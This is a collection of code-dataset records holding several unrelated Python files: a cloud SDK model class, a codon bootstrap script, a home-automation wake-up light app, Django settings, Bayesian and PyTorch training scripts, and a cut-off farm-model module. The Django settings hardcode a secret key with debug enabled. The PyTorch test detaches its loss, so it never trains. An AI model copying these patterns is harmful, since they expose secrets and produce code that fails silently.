attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, FreeResourceDetail):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n", "sub_path": "huaweicloud-sdk-bss/huaweicloudsdkbss/v2/model/free_resource_detail.py", "file_name": "free_resource_detail.py", "file_ext": "py", "file_size_in_byte": 15449, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "six.iteritems", "line_number": 331, "usage_type": "call"}, {"api_name": "six.PY2", "line_number": 357, "usage_type": "attribute"}, {"api_name": "sys.setdefaultencoding", "line_number": 360, "usage_type": "call"}, {"api_name": "simplejson.dumps", "line_number": 361, "usage_type": "call"}, {"api_name": "huaweicloudsdkcore.utils.http_utils.sanitize_for_serialization", "line_number": 361, "usage_type": "call"}]} +{"seq_id": "399121975", "text": "#!/usr/bin/env python3\n\n'''\nPython script to create one bootstrap replicate of a multiple alignment of protein-coding genes in FASTA format.\nRandomly draws triplets of bases (codons) with replacement, until the original length of the alignment is reached.\nThe bootstrap replicate is written to a separate FASTA file, into a directory with the same name as the original alignment.\n\nRequires python3 and biopython 1.72. Not optimized for large alignments.\n\nUsage:\n./bootstrap_codon_alignment.py [path to original alignment in fasta format] [path to output alignment in fasta format]\n'''\n\nimport sys\nimport os\nfrom Bio import AlignIO\nfrom Bio import SeqIO\nimport Bio.Align\nimport random\n\n\ninput_file = open(sys.argv[1], 'r') # take input file name from command line\noutput_file = open(sys.argv[2], 'w') # path to output file\n\ndef triplet_idx_list(fasta):\n\taln = AlignIO.read(input_file, \"fasta\")\n\tlength = int(aln.get_alignment_length()) # length of the alignment\n\tidxlist = [] # list to store every third index\n\tif length % 3 == 0: # only continue if the alignment is a multiple of three\n\t\tfor i in range(0,length): # up to the length of the alignment\n\t\t\tif i % 3 == 0: # append index to list if division by three possible (incl. zero)\n\t\t\t\tidxlist.append(i)\n\treturn idxlist, aln\n\ndef random_aln_generator(idxlist, aln):\n\trandomlist = random.choices(idxlist, k=len(idxlist)) # draw randomly from the index list of codon start positions with replacement\n\trandomalign = aln[:, randomlist[0]:randomlist[0]+3] # list with random triplets, each stored as alignment object\n\tfor i in randomlist[1:]: # loop through random list of indices of codon start positions \n\t\tj = i+3 # create range for each random triplet\n\t\trandomalign += aln[:, i:j]\n\treturn randomalign\n\n\n# create desired number of bootstrap replicates in fasta format\nindexlist, alignment = triplet_idx_list(input_file) # get the indices for the original alignment \n\nreplicate = random_aln_generator(indexlist, alignment)\nSeqIO.write(replicate, output_file, \"fasta\")\n\ninput_file.close()\noutput_file.close()", "sub_path": "bootstrap_codon_alignment.py", "file_name": "bootstrap_codon_alignment.py", "file_ext": "py", "file_size_in_byte": 2056, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.argv", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 23, "usage_type": "attribute"}, {"api_name": "Bio.AlignIO.read", "line_number": 26, "usage_type": "call"}, {"api_name": "Bio.AlignIO", "line_number": 26, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 36, "usage_type": "call"}, {"api_name": "Bio.SeqIO.write", "line_number": 48, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 48, "usage_type": "name"}]} +{"seq_id": "212199013", "text": "\"\"\"\nSimulates a natural sunrise using color spectrum lights\n\"\"\"\n# pylint: disable=too-few-public-methods,too-many-instance-attributes\nfrom datetime import timedelta\nimport appdaemon.plugins.hass.hassapi as hass\n\nUPDATE_INTERVAL = 5\nSTART_BRIGHTNESS = 0\n\nATT_DURATION = 'duration'\nATT_STOP_BRIGHTNESS = 'stop_brightness'\nATT_START_KELVIN = 'start_kelvin'\nATT_STOP_KELVIN = 'stop_kelvin'\n\nDEFAULT_SEQUENCE = 'DEFAULT_SEQUENCE'\nDEFAULT_DURATION = 30\nDEFAULT_START_KELVIN = 2200\nDEFAULT_STOP_KELVIN = 3400\nDEFAULT_STOP_BRIGHTNESS = 255\n\nEVENT_ALARM_ALERT = 'ALARM_ALERT'\nEVENT_ALARM_DISMISS = 'ALARM_DISMISS'\nEVENT_ALARM_DONE = 'ALARM_DONE'\nEVENT_WAKEUP_SEQUENCE_STARTED = 'WAKEUP_SEQUENCE_STARTED'\nEVENT_WAKEUP_SEQUENCE_COMPLETED = 'WAKEUP_SEQUENCE_COMPLETED'\n\n\nclass WakeupLight(hass.Hass):\n \"\"\"Wakeup Light App\"\"\"\n\n class Sequence(object):\n \"\"\"Represents an individual wakeup sequence\"\"\"\n def __init__(self, api, settings):\n self.api = api\n self.name = settings.get('sequence_name', DEFAULT_SEQUENCE)\n\n try:\n self.entity_id = settings['entity_id']\n except KeyError:\n raise ValueError('No target entity specified')\n\n if not self.api.entity_exists(self.entity_id):\n raise ValueError('Target entity {} does not exist'\n .format(self.entity_id))\n\n self.kelvin = settings.get(ATT_START_KELVIN, DEFAULT_START_KELVIN)\n self.max_kelvin = settings.get(ATT_STOP_KELVIN,\n DEFAULT_STOP_KELVIN)\n self.brightness = START_BRIGHTNESS\n self.max_brightness = settings.get(ATT_STOP_BRIGHTNESS,\n DEFAULT_STOP_BRIGHTNESS)\n\n duration = settings.get(ATT_DURATION, DEFAULT_DURATION)\n update_steps = duration * (60 / UPDATE_INTERVAL)\n kelvin_step = int((self.max_kelvin - self.kelvin) / update_steps)\n brightness_step = int((self.max_brightness - START_BRIGHTNESS) /\n update_steps)\n\n self.update_schedule = self.api.run_every(\n self._update,\n self.api.datetime() + timedelta(seconds=1),\n UPDATE_INTERVAL,\n brightness_step=brightness_step,\n kelvin_step=kelvin_step)\n self.api.fire_event(EVENT_WAKEUP_SEQUENCE_STARTED,\n sequence_name=self.name)\n self.api.log('Initialized sequence {}: entity_id={}, duration={}, '\n 'update_steps={}, kelvin={}, max_kelvin={}, '\n 'kelvin_step={}, brightness={}, max_brightness={}, '\n 'brightness_step={}'.format(self.name, self.entity_id,\n duration, update_steps,\n self.kelvin,\n self.max_kelvin,\n kelvin_step,\n self.brightness,\n self.max_brightness,\n brightness_step))\n\n def _update(self, kwargs):\n self.brightness = min(self.brightness + kwargs['brightness_step'],\n self.max_brightness)\n self.kelvin = min(self.kelvin + kwargs['kelvin_step'],\n self.max_kelvin)\n if (self.brightness < self.max_brightness and\n self.kelvin < self.max_kelvin):\n self.api.turn_on(\n self.entity_id,\n brightness=self.brightness,\n kelvin=self.kelvin,\n transition=UPDATE_INTERVAL - 1)\n self.api.log('Updated {} to brightness={}, kelvin={}'\n .format(self.api.friendly_name(self.entity_id),\n self.brightness, self.kelvin))\n else:\n self.finish()\n\n def finish(self):\n \"\"\"Wraps up the sequence and dims lights to full brightness\"\"\"\n self.api.cancel_timer(self.update_schedule)\n self.api.turn_on(\n self.entity_id,\n brightness=self.max_brightness,\n kelvin=self.max_kelvin,\n transition=UPDATE_INTERVAL)\n self.api.fire_event(EVENT_WAKEUP_SEQUENCE_COMPLETED,\n sequence_name=self.name)\n self.api.log('Finished sequence {}'.format(self.name))\n\n def initialize(self):\n \"\"\"Initialize the app\"\"\"\n self.sequences = {}\n self.listen_event(self._start_sequence, EVENT_ALARM_ALERT)\n self.listen_event(self._finish_sequence, EVENT_ALARM_DISMISS)\n self.listen_event(self._finish_sequence, EVENT_ALARM_DONE)\n self.listen_event(self._remove_sequence,\n EVENT_WAKEUP_SEQUENCE_COMPLETED)\n\n def _start_sequence(self, event_name, data, kwargs):\n # pylint: disable=unused-argument\n self.log('Received {} event (data={})'.format(event_name, data),\n level='DEBUG')\n sequence = data.get('sequence_name', DEFAULT_SEQUENCE)\n\n if sequence not in self.sequences:\n try:\n self.sequences[sequence] = WakeupLight.Sequence(self, data)\n except ValueError as cause:\n raise ValueError('Failed to start wakeup sequence {}: {}'\n .format(sequence, cause))\n else:\n self.log('Wakeup sequence {} is already in progress.'\n .format(sequence))\n\n def _finish_sequence(self, event_name, data, kwargs):\n # pylint: disable=unused-argument\n self.log('Received {} event (data={})'.format(event_name, data),\n level='DEBUG')\n sequence = data.get('sequence_name', DEFAULT_SEQUENCE)\n\n try:\n self.sequences[sequence].finish()\n except KeyError:\n self.error(('Failed to finish wakeup sequence {}: '\n 'No such sequence exists').format(sequence))\n\n def _remove_sequence(self, event_name, data, kwargs):\n # pylint: disable=unused-argument\n try:\n sequence = data['sequence_name']\n except KeyError:\n self.error(('Failed to remove wakeup sequence {}: '\n 'No such sequence exists').format(sequence))\n else:\n del self.sequences[sequence]\n", "sub_path": "appdaemon/apps/wakeup_light.py", "file_name": "wakeup_light.py", "file_ext": "py", "file_size_in_byte": 6673, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "appdaemon.plugins.hass.hassapi.Hass", "line_number": 29, "usage_type": "attribute"}, {"api_name": "appdaemon.plugins.hass.hassapi", "line_number": 29, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "72214021", "text": "\"\"\"\nDjango settings for dataAnalyzer project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/dev/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/dev/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n#import mongoengine\n\nfrom pymongo import MongoClient\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/dev/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'u#cubnwkuuv&mb!=t9@ya-p0aqlq0bvr+&9&&atjz8147ra&%a'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True \n\nTEMPLATE_DEBUG = True\nTEMPLATE_DIRS = (\n os.path.join(os.path.dirname(__file__), '../templates'),\n )\n\nALLOWED_HOSTS = []\n\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'restPoints',\n 'rest_framework',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\n#AUTHENTICATION_BACKENDS = (\n# 'mongoengine.django.auth.MongoEngineBackend',\n#)\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': ('rest_framework.permissions.IsAdminUser',),\n 'PAGINATE_BY': 10\n}\nROOT_URLCONF = 'dataAnalyzer.urls'\n\nWSGI_APPLICATION = 'dataAnalyzer.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/dev/ref/settings/#databases\n\nAUTOCOMMIT = True \n__MONGO_HOST = \"localhost\"\n__MONGO_PORT = 27017\nDATABASES = {\n 'mongo' : {\n 'ENGINE' : 'django_mongodb_engine',\n 'NAME' : 'roadMetrics',\n 'USER': '', \n 'PASSWORD': '', \n 'HOST': __MONGO_HOST, \n 'PORT': __MONGO_PORT, \n 'SUPPORTS_TRANSACTIONS': False, \n },\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),\n }\n\n}\nMONGO_CLIENT = MongoClient(__MONGO_HOST, __MONGO_PORT)\n\n############# MONGO #########\n#SESSION_ENGINE = 'mongoengine.django.sessions'\n\n#_MONGODB_USER = 'kishan'\n#_MONGODB_PASSWD = 'kishan'\n#_MONGODB_HOST = 'localhost'\n#_MONGODB_NAME = 'roadMetrics'\n#_MONGODB_DATABASE_HOST = \\\n# 'mongodb://%s:%s@%s/%s' \\\n# % (_MONGODB_USER, _MONGODB_PASSWD, _MONGODB_HOST, _MONGODB_NAME)\n#\n#mongoengine.connect(_MONGODB_NAME, host=_MONGODB_DATABASE_HOST)\n\n# Internationalization\n# https://docs.djangoproject.com/en/dev/topics/i18n/\n\nTEMPLATE_DIRS = {\n 'templates'\n}\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'Asia/Kolkata'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\n#USE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/dev/howto/static-files/\n\nSTATIC_URL = '/static/'\nSTATICFILES_DIRS = (\n os.path.join(BASE_DIR, \"static\"),\n)\n", "sub_path": "dataAnalyzer/dataAnalyzer/settings.py", "file_name": "settings.py", "file_ext": "py", "file_size_in_byte": 3303, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pymongo.MongoClient", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}]} +{"seq_id": "118571863", "text": "import bayesian_load\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport random\nimport math\n\n\nclass Gaussian(object):\n def __init__(self, mu, rho):\n super().__init__()\n self.mu = mu\n self.rho = rho\n self.normal = torch.distributions.Normal(0, 1)\n\n @property\n def sigma(self):\n return torch.log1p(torch.exp(self.rho))\n\n def sample(self):\n epsilon = self.normal.sample(self.rho.size())\n return self.mu + self.sigma * epsilon\n\n def log_prob(self, input):\n return (\n -math.log(math.sqrt(2 * math.pi))\n - torch.log(self.sigma)\n - ((input - self.mu) ** 2) / (2 * self.sigma ** 2)\n ).sum()\n\n\nclass ScaleMixtureGaussian(object):\n def __init__(self, pi, sigma1, sigma2):\n super().__init__()\n self.pi = pi\n self.sigma1 = sigma1\n self.sigma2 = sigma2\n self.gaussian1 = torch.distributions.Normal(0, sigma1)\n self.gaussian2 = torch.distributions.Normal(0, sigma2)\n\n def log_prob(self, input):\n prob1 = torch.exp(self.gaussian1.log_prob(input))\n prob2 = torch.exp(self.gaussian2.log_prob(input))\n return (torch.log(self.pi * prob1 + (1 - self.pi) * prob2)).sum()\n\n\nclass BayesianLinear(nn.Module):\n def __init__(self, in_features, out_features):\n super().__init__()\n self.in_features = in_features\n self.out_features = out_features\n # Weight parameters\n self.weight_mu = nn.Parameter(\n torch.Tensor(out_features, in_features).uniform_(-0.2, 0.2)\n )\n self.weight_rho = nn.Parameter(\n torch.Tensor(out_features, in_features).uniform_(-5, -4)\n )\n self.weight = Gaussian(self.weight_mu, self.weight_rho)\n # Bias parameters\n self.bias_mu = nn.Parameter(torch.Tensor(out_features).uniform_(-0.2, 0.2))\n self.bias_rho = nn.Parameter(torch.Tensor(out_features).uniform_(-5, -4))\n self.bias = Gaussian(self.bias_mu, self.bias_rho)\n # Prior distributions\n PI = 0.5\n SIGMA_1 = torch.FloatTensor([math.exp(-0)])\n SIGMA_2 = torch.FloatTensor([math.exp(-6)])\n self.weight_prior = ScaleMixtureGaussian(PI, SIGMA_1, SIGMA_2)\n self.bias_prior = ScaleMixtureGaussian(PI, SIGMA_1, SIGMA_2)\n self.log_prior = 0\n self.log_variational_posterior = 0\n\n def forward(self, input, sample=False, calculate_log_probs=False):\n if self.training or sample:\n weight = self.weight.sample()\n bias = self.bias.sample()\n else:\n weight = self.weight.mu\n bias = self.bias.mu\n if self.training or calculate_log_probs:\n self.log_prior = self.weight_prior.log_prob(\n weight\n ) + self.bias_prior.log_prob(bias)\n self.log_variational_posterior = self.weight.log_prob(\n weight\n ) + self.bias.log_prob(bias)\n else:\n self.log_prior, self.log_variational_posterior = 0, 0\n\n return F.linear(input, weight, bias)\n\n\n# Neural network structure: 13 input bits, 8-node hidden layer, 2 output floats\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.fc1 = BayesianLinear(13, 8)\n self.fc2 = BayesianLinear(8, 2)\n\n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = self.fc2(x)\n return x\n\n def log_prior(self):\n return self.fc1.log_prior + self.fc2.log_prior\n\n def log_variational_posterior(self):\n return self.fc1.log_variational_posterior + self.fc2.log_variational_posterior\n\n def loss(self, inputs, target):\n outputs = self(inputs)\n log_prior = self.log_prior()\n variance_loss = F.mse_loss(outputs, target)\n loss = variance_loss - log_prior * 1.0 / NUM_BATCHES\n return loss\n\n\ndef get_data_by_depth(file_name, depth, side):\n # Data import\n data = pd.read_excel(file_name, 0, header=[0, 1])\n\n # Data parsing\n inputs = list(\n [\n [bool(int(x)) for x in y.replace(\"'\", \"\")]\n for y in data.iloc[0:8192, 0].values\n ]\n )\n outputs = list(data.iloc[0:8192, [6, 7]].values)\n\n count = 0\n if side == \"b\":\n for i in range(8192):\n if sum(inputs[i - count]) > depth:\n del inputs[i - count]\n del outputs[i - count]\n count = count + 1\n if side == \"r\":\n for i in range(8192):\n if sum(inputs[i - count]) < depth:\n del inputs[i - count]\n del outputs[i - count]\n count = count + 1\n\n return torch.Tensor(inputs), torch.Tensor(outputs)\n\n\nNUM_BATCHES = 0\n\n\ndef create(lrate, batch_size, epochs, X, Y):\n # Initialize NN, define batch size and optimizer\n global NUM_BATCHES\n NUM_BATCHES = len(X) // batch_size\n my_nn = Net()\n optimizer = optim.SGD(my_nn.parameters(), lr=lrate)\n my_nn.train()\n # Train for \"epochs\"\n loss = 0\n for epoch in range(epochs):\n running_loss = 0.0\n l = list(zip(X, Y))\n random.shuffle(l)\n for j in range(len(l) // batch_size):\n for i, (start, end) in enumerate(l[batch_size * j : batch_size * (j + 1)]):\n my_nn.zero_grad()\n loss = my_nn.loss(start, end)\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n\n print(f\"[Epoch: {epoch+1}] loss: {running_loss/len(l)}\")\n\n my_nn.train(False)\n return my_nn, optimizer, loss\n\n\ndef main():\n side = \"\"\n while side != \"b\" and side != \"r\":\n side = input(\n \"Choose to enter depth from protein 0000000000000 (b) or protein 1111111111111 (r): \"\n )\n depth = 0\n while depth < 1 or depth > 13:\n try:\n depth = int(input(\"Enter depth: \"))\n except:\n pass\n epochs = 0\n while epochs <= 0 or epochs >= 10000:\n try:\n epochs = int(input(\"Enter epoch count (press 'Enter' for default): \"))\n except:\n epochs = 50\n\n X, Y = get_data_by_depth(\"mkate_data.xlsx\", depth, side)\n\n my_nn, optimizer, loss = create(0.01, 32, epochs, X, Y)\n\n # Save to my_nn_b.tar\n torch.save(\n {\n \"model_state_dict\": my_nn.state_dict(),\n \"optimizer_state_dict\": optimizer.state_dict(),\n \"loss\": loss,\n },\n \"my_nn_b.tar\",\n )\n\n # Display graphs from my_nn_b.tar\n bayesian_load.graph_from_tar(\"my_nn_b.tar\").show()\n\n\nif __name__ == \"__main__\":\n main()", "sub_path": "mkate_bayesian.py", "file_name": "mkate_bayesian.py", "file_ext": "py", "file_size_in_byte": 6653, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.distributions.Normal", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.distributions", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.log1p", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 20, "usage_type": "call"}, {"api_name": "math.log", "line_number": 28, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 28, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 28, "usage_type": "attribute"}, {"api_name": "torch.log", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.distributions.Normal", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.distributions", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.distributions.Normal", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.distributions", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.exp", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.exp", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 55, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 68, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 69, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn.functional.linear", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 92, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 96, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 96, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.functional.mse_loss", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 116, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 159, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 159, "usage_type": "name"}, {"api_name": "random.shuffle", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 206, "usage_type": "call"}, {"api_name": "bayesian_load.graph_from_tar", "line_number": 216, "usage_type": "call"}]} +{"seq_id": "136230180", "text": "import torch.nn as nn\nimport torch\nfrom torch.nn import Parameter\nfrom torch.nn.init import constant\nfrom torch.nn import init\nfrom torch.nn.modules import Linear\n# from torch.functional import\n\n\nclass MyLayer(nn.Module):\n def __init__(self):\n super(MyLayer, self).__init__()\n self.alpha1 = Parameter(torch.Tensor(1))\n # self.delta1 = Parameter(torch.empty(1))\n # self.alpha2 = Parameter(torch.empty(1))\n # self.delta2 = Parameter(torch.empty(1))\n\n # self.reset_parameters()\n\n # self.weight1 = torch.tensor(0.6,requires_grad=True)\n # self.weight2 = torch.tensor(2.0,requires_grad=True)\n\n # self.weight1 = Parameter(torch.tensor(1.0))\n # self.weight2 = Parameter(torch.tensor(2.0))\n @torch.no_grad()\n def reset_parameters(self) -> None:\n # self.weight1 = torch.tensor(1.0, requires_grad=True)\n # self.weight2 = torch.tensor(1.0, requires_grad=True)\n # constant(self.weight1, 0.6)\n # constant(self.weight2, 2.0)\n # torch.nn.init.ones_(self.weight1)\n # torch.nn.init.ones_(self.weight2)\n init.uniform_(self.alpha1, 0, 1)\n # init.uniform_(self.delta1, 0, 1)\n # init.uniform_(self.alpha2, 0, 1)\n # init.uniform_(self.delta2, 0, 1)\n\n def forward(self, x):\n input_ = torch.pow(x, 2)\n y = torch.mul(input_, self.alpha1)\n return y\n\n\nclass MyNet(nn.Module):\n def __init__(self):\n super(MyNet, self).__init__() # 第一句话，调用父类的构造函数\n self.mylayer1 = MyLayer()\n\n def forward(self, x):\n x = self.mylayer1(x)\n return x\n\n\nif __name__ == '__main__':\n model = MyNet()\n print(model.parameters())\n learning_rate = 0.01\n input_x = torch.tensor(1)\n input_y = torch.tensor(5)\n\n # len_input = len(input_x)\n\n criterion = nn.MSELoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\n for epoch in range(10):\n output = model(input_x)\n loss = criterion(torch.Tensor([[output]]), torch.Tensor([[input_y]]))\n loss.requires_grad = True\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n print('loss:%f' % loss)\n", "sub_path": "maker_brb/test/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 2217, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.nn.Module", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.init.uniform_", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.pow", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 68, "usage_type": "call"}]} +{"seq_id": "565749559", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 12 15:25:08 2019\n\nmodule: builds a df with period definitions\n this is one of the first modules calculated and therefore should only import input modules\n\n note: there must be a better way to do this!!\n\nVersion Control:\nVersion Date Person Change\n 1.1 25Dec19 John altered the import staements to import as inp. & ci.\n\nKnown problems:\nFixed Date ID by Problem\n\n\n@author: young\n\"\"\"\n#python modules\nimport pandas as pd\nimport numpy as np\nimport datetime\nfrom dateutil.relativedelta import relativedelta\n\n\n\n#MUDAS modules\nimport UniversalInputs as uinp\nimport PropertyInputs as pinp\n\n\n\n#####################################\n#define dates of cashflow periods #\n#####################################\n\ndef cashflow_periods():\n #index for cash periods\n i = 0\n #empty list\n cashflow_period_dates = []\n #start date of the current cashflow period (ie start of year)\n start = uinp.structure['i_date_assetvalue']\n cashflow_period_dates.append(start)\n date = start\n #upper date of the current cashflow period (ie end of year)\n #upper = lower + relativedelta(days=(365 / len(inp.structure['cashflow_periods'])))\n while i < len(uinp.structure['cashflow_periods']):\n cash_period_length = relativedelta(days=(365 / len(uinp.structure['cashflow_periods'])))\n date += cash_period_length\n cashflow_period_dates.append(date)\n i += 1\n #made df this way so the columns could be diff len\n cashflow_dates = pd.DataFrame({'start date' : pd.Series(cashflow_period_dates),'cash period' : pd.Series(uinp.structure['cashflow_periods'])})\n return cashflow_dates\n\n\n'''\nlabour periods and length\n'''\n################################\n# make a df containing period #\n################################\n\n\n\n\n#function to determine seeding start - starts a specified number of days after season break\n#also used in mach sheet\ndef wet_seeding_start_date():\n #wet seeding starts a specified number of days after season break\n return pinp.feed_inputs['feed_periods'].loc['FP0','date'] + datetime.timedelta(days = pinp.crop['seeding_after_season_start'])\n\n\n#this function requires start date and length of each period (as a list) and spits out the start dates of each period\n#used to determine harv and seed dates for period func below\ndef period_dates(start, length):\n #create empty list\n dates=[]\n perioddate = start\n #appends start date to lisr\n dates.append(perioddate)\n #loop used to append the rest of the seeding dates to list, doesnt include last seed period length because i only want start dates of seed periods\n for i in length[:-1]:\n perioddate += datetime.timedelta(days = i.astype(np.float64)) #for some reason the days must be a float64 otherwise you get an error (timedelta is seems only to be compatible with float64)\n dates.append(perioddate)\n return dates\n\n#function to determine the end date of something (ie mach periods)\n#also used in mach sheet\ndef period_end_date(start, length):\n #gets the last date from periods funct then adds the length of last period\n return 